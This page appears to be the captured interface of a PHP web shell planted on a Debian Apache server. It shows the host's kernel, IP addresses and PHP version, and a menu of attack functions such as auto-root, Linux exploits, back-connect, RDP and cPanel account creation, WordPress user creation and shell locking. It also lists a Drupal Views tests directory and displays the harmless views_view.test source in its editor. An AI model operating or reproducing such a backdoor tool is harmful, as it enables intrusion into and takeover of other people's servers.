Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.188.178.1
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
comment
[ DIR ]
drwxr-xr-x
field
[ DIR ]
drwxr-xr-x
handlers
[ DIR ]
drwxr-xr-x
node
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
taxonomy
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
test_handlers
[ DIR ]
drwxr-xr-x
test_plugins
[ DIR ]
drwxr-xr-x
user
[ DIR ]
drwxr-xr-x
views_access.test
9.88
KB
-rw-r--r--
views_analyze.test
1.29
KB
-rw-r--r--
views_argument_default.test
5.33
KB
-rw-r--r--
views_argument_validator.test
4.41
KB
-rw-r--r--
views_basic.test
4.45
KB
-rw-r--r--
views_cache.test
9.45
KB
-rw-r--r--
views_cache.test.css
100
B
-rw-r--r--
views_cache.test.js
100
B
-rw-r--r--
views_exposed_form.test
7.75
KB
-rw-r--r--
views_glossary.test
1.4
KB
-rw-r--r--
views_groupby.test
14.15
KB
-rw-r--r--
views_handlers.test
5.61
KB
-rw-r--r--
views_module.test
9.18
KB
-rw-r--r--
views_pager.test
19.12
KB
-rw-r--r--
views_plugin_localization_test...
893
B
-rw-r--r--
views_query.test
12.12
KB
-rw-r--r--
views_test.info
263
B
-rw-r--r--
views_test.install
219
B
-rw-r--r--
views_test.module
3.03
KB
-rw-r--r--
views_test.views_default.inc
10.5
KB
-rw-r--r--
views_translatable.test
10.01
KB
-rw-r--r--
views_ui.test
38.55
KB
-rw-r--r--
views_upgrade.test
12.64
KB
-rw-r--r--
views_view.test
13.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : views_view.test
<?php /** * @file * Definition of ViewsViewTest. */ /** * Views class tests. */ class ViewsViewTest extends ViewsSqlTest { public static function getInfo() { return array( 'name' => 'Test the view class', 'description' => 'Tests some functionality of the view class', 'group' => 'Views', ); } /** * Tests the deconstructor to be sure that every kind of heavy objects are removed. */ function testDestroy() { $view = $this->view_test_destroy(); $view->preview(); $view->destroy(); $this->assertViewDestroy($view); // Manipulate the display variable to test a previous bug. $view = $this->view_test_destroy(); $view->preview(); $view->destroy(); $this->assertViewDestroy($view); } function assertViewDestroy($view) { $this->assertFalse(isset($view->display['default']->handler), 'Make sure all displays are destroyed.'); $this->assertFalse(isset($view->display['attachment_1']->handler), 'Make sure all displays are destroyed.'); $this->assertFalse(isset($view->filter), 'Make sure all handlers are destroyed'); $this->assertFalse(isset($view->field), 'Make sure all handlers are destroyed'); $this->assertFalse(isset($view->argument), 'Make sure all handlers are destroyed'); $this->assertFalse(isset($view->relationship), 'Make sure all handlers are destroyed'); $this->assertFalse(isset($view->sort), 'Make sure all handlers are destroyed'); $this->assertFalse(isset($view->area), 'Make sure all handlers are destroyed'); $keys = array('current_display', 'display_handler', 'field', 'argument', 'filter', 'sort', 'relationship', 'header', 'footer', 'empty', 'query', 'result', 'inited', 'style_plugin', 'plugin_name', 'exposed_data', 'exposed_input', 'many_to_one_tables'); foreach ($keys as $key) { $this->assertFalse(isset($view->{$key}), $key); } $this->assertEqual($view->built, FALSE); $this->assertEqual($view->executed, FALSE); $this->assertEqual($view->build_info, array()); $this->assertEqual($view->attachment_before, ''); $this->assertEqual($view->attachment_after, ''); } function testDelete() { // Delete a database view $view = $this->view_test_delete(); $view->save(); $view = views_get_view($view->name); $view->delete(); $view = views_get_view($view->name); $this->assertNotNull($view, 'Make sure that the old view is still in the static cache.'); $view = views_get_view($view->name, TRUE); $this->assertNull($view, "Make sure that the old view gets cleared by the reset parameter."); } function testValidate() { // Test a view with multiple displays. // Validating a view shouldn't change the active display. // @todo: Create an extra validation view. $view = $this->view_test_destroy(); $view->set_display('page_1'); $view->validate(); $this->assertEqual('page_1', $view->current_display, "The display should be constant while validating"); // @todo: Write real tests for the validation. // In general the following things could be tested: // - Deleted displays shouldn't be validated // - Multiple displays are validating and the errors are merged together. } /** * This view provides some filters, fields, arguments, relationships, sorts, areas and attachments. */ function view_test_destroy() { $view = new view; $view->name = 'test_destroy'; $view->description = ''; $view->tag = ''; $view->base_table = 'node'; $view->human_name = ''; $view->api_version = '3.0-alpha1'; $view->disabled = FALSE; /* Edit this to true to make a default view disabled initially */ /* Display: Master */ $handler = $view->new_display('default', 'Master', 'default'); $handler->display->display_options['access']['type'] = 'none'; $handler->display->display_options['cache']['type'] = 'none'; $handler->display->display_options['query']['type'] = 'views_query'; $handler->display->display_options['exposed_form']['type'] = 'basic'; $handler->display->display_options['pager']['type'] = 'full'; $handler->display->display_options['style_plugin'] = 'default'; $handler->display->display_options['row_plugin'] = 'fields'; /* Header: Global: Text area */ $handler->display->display_options['header']['area']['id'] = 'area'; $handler->display->display_options['header']['area']['table'] = 'views'; $handler->display->display_options['header']['area']['field'] = 'area'; $handler->display->display_options['header']['area']['empty'] = FALSE; /* Header: Global: Text area */ $handler->display->display_options['header']['area_1']['id'] = 'area_1'; $handler->display->display_options['header']['area_1']['table'] = 'views'; $handler->display->display_options['header']['area_1']['field'] = 'area'; $handler->display->display_options['header']['area_1']['empty'] = FALSE; /* Footer: Global: Text area */ $handler->display->display_options['footer']['area']['id'] = 'area'; $handler->display->display_options['footer']['area']['table'] = 'views'; $handler->display->display_options['footer']['area']['field'] = 'area'; $handler->display->display_options['footer']['area']['empty'] = FALSE; /* Footer: Global: Text area */ $handler->display->display_options['footer']['area_1']['id'] = 'area_1'; $handler->display->display_options['footer']['area_1']['table'] = 'views'; $handler->display->display_options['footer']['area_1']['field'] = 'area'; $handler->display->display_options['footer']['area_1']['empty'] = FALSE; /* Empty text: Global: Text area */ $handler->display->display_options['empty']['area']['id'] = 'area'; $handler->display->display_options['empty']['area']['table'] = 'views'; $handler->display->display_options['empty']['area']['field'] = 'area'; $handler->display->display_options['empty']['area']['empty'] = FALSE; /* Empty text: Global: Text area */ $handler->display->display_options['empty']['area_1']['id'] = 'area_1'; $handler->display->display_options['empty']['area_1']['table'] = 'views'; $handler->display->display_options['empty']['area_1']['field'] = 'area'; $handler->display->display_options['empty']['area_1']['empty'] = FALSE; /* Relationship: Comment: Node */ $handler->display->display_options['relationships']['nid']['id'] = 'nid'; $handler->display->display_options['relationships']['nid']['table'] = 'comments'; $handler->display->display_options['relationships']['nid']['field'] = 'nid'; /* Relationship: Comment: Parent comment */ $handler->display->display_options['relationships']['pid']['id'] = 'pid'; $handler->display->display_options['relationships']['pid']['table'] = 'comments'; $handler->display->display_options['relationships']['pid']['field'] = 'pid'; /* Relationship: Comment: User */ $handler->display->display_options['relationships']['uid']['id'] = 'uid'; $handler->display->display_options['relationships']['uid']['table'] = 'comments'; $handler->display->display_options['relationships']['uid']['field'] = 'uid'; /* Field: Content: Nid */ $handler->display->display_options['fields']['nid']['id'] = 'nid'; $handler->display->display_options['fields']['nid']['table'] = 'node'; $handler->display->display_options['fields']['nid']['field'] = 'nid'; /* Field: Content: Path */ $handler->display->display_options['fields']['path']['id'] = 'path'; $handler->display->display_options['fields']['path']['table'] = 'node'; $handler->display->display_options['fields']['path']['field'] = 'path'; /* Field: Content: Post date */ $handler->display->display_options['fields']['created']['id'] = 'created'; $handler->display->display_options['fields']['created']['table'] = 'node'; $handler->display->display_options['fields']['created']['field'] = 'created'; /* Sort criterion: Content: In moderation */ $handler->display->display_options['sorts']['moderate']['id'] = 'moderate'; $handler->display->display_options['sorts']['moderate']['table'] = 'node'; $handler->display->display_options['sorts']['moderate']['field'] = 'moderate'; /* Sort criterion: Content: Last comment author */ $handler->display->display_options['sorts']['last_comment_name']['id'] = 'last_comment_name'; $handler->display->display_options['sorts']['last_comment_name']['table'] = 'node_comment_statistics'; $handler->display->display_options['sorts']['last_comment_name']['field'] = 'last_comment_name'; /* Sort criterion: Content: Last comment time */ $handler->display->display_options['sorts']['last_comment_timestamp']['id'] = 'last_comment_timestamp'; $handler->display->display_options['sorts']['last_comment_timestamp']['table'] = 'node_comment_statistics'; $handler->display->display_options['sorts']['last_comment_timestamp']['field'] = 'last_comment_timestamp'; /* Argument: Content: Created date */ $handler->display->display_options['arguments']['created_fulldate']['id'] = 'created_fulldate'; $handler->display->display_options['arguments']['created_fulldate']['table'] = 'node'; $handler->display->display_options['arguments']['created_fulldate']['field'] = 'created_fulldate'; $handler->display->display_options['arguments']['created_fulldate']['style_plugin'] = 'default_summary'; $handler->display->display_options['arguments']['created_fulldate']['default_argument_type'] = 'fixed'; /* Argument: Content: Created day */ $handler->display->display_options['arguments']['created_day']['id'] = 'created_day'; $handler->display->display_options['arguments']['created_day']['table'] = 'node'; $handler->display->display_options['arguments']['created_day']['field'] = 'created_day'; $handler->display->display_options['arguments']['created_day']['style_plugin'] = 'default_summary'; $handler->display->display_options['arguments']['created_day']['default_argument_type'] = 'fixed'; /* Argument: Content: Created month */ $handler->display->display_options['arguments']['created_month']['id'] = 'created_month'; $handler->display->display_options['arguments']['created_month']['table'] = 'node'; $handler->display->display_options['arguments']['created_month']['field'] = 'created_month'; $handler->display->display_options['arguments']['created_month']['style_plugin'] = 'default_summary'; $handler->display->display_options['arguments']['created_month']['default_argument_type'] = 'fixed'; /* Filter: Content: Nid */ $handler->display->display_options['filters']['nid']['id'] = 'nid'; $handler->display->display_options['filters']['nid']['table'] = 'node'; $handler->display->display_options['filters']['nid']['field'] = 'nid'; /* Filter: Content: Published */ $handler->display->display_options['filters']['status']['id'] = 'status'; $handler->display->display_options['filters']['status']['table'] = 'node'; $handler->display->display_options['filters']['status']['field'] = 'status'; /* Filter: Content: Title */ $handler->display->display_options['filters']['title']['id'] = 'title'; $handler->display->display_options['filters']['title']['table'] = 'node'; $handler->display->display_options['filters']['title']['field'] = 'title'; /* Display: Page */ $handler = $view->new_display('page', 'Page', 'page_1'); $handler->display->display_options['path'] = 'test_destroy'; /* Display: Attachment */ $handler = $view->new_display('attachment', 'Attachment', 'attachment_1'); $handler->display->display_options['pager']['type'] = 'some'; $handler->display->display_options['displays'] = array( 'default' => 'default', 'page_1' => 'page_1', ); /* Display: Attachment */ $handler = $view->new_display('attachment', 'Attachment', 'attachment_2'); $handler->display->display_options['pager']['type'] = 'some'; $handler->display->display_options['displays'] = array( 'default' => 'default', 'page_1' => 'page_1', ); $translatables['test_destroy'] = array( t('Master'), t('more'), t('Apply'), t('Reset'), t('Sort By'), t('Asc'), t('Desc'), t('Items per page'), t('- All -'), t('Offset'), t('Text area'), t('Content'), t('Parent comment'), t('User'), t('Nid'), t('Path'), t('Post date'), t('All'), t('Page'), t('Attachment'), ); return $view; } function view_test_delete() { $view = new view; $view->name = 'test_view_delete'; $view->description = ''; $view->tag = ''; $view->base_table = 'node'; $view->human_name = 'test_view_delete'; $view->core = 7; $view->api_version = '3.0-alpha1'; $view->disabled = FALSE; /* Edit this to true to make a default view disabled initially */ /* Display: Defaults */ $handler = $view->new_display('default', 'Defaults', 'default'); $handler->display->display_options['access']['type'] = 'none'; $handler->display->display_options['cache']['type'] = 'none'; $handler->display->display_options['query']['type'] = 'views_query'; $handler->display->display_options['exposed_form']['type'] = 'basic'; $handler->display->display_options['pager']['type'] = 'full'; $handler->display->display_options['style_plugin'] = 'default'; $handler->display->display_options['row_plugin'] = 'fields'; $translatables['test_view_delete'] = array( t('Defaults'), t('more'), t('Apply'), t('Reset'), t('Sort By'), t('Asc'), t('Desc'), t('Items per page'), t('- All -'), t('Offset'), ); return $view; } }
Close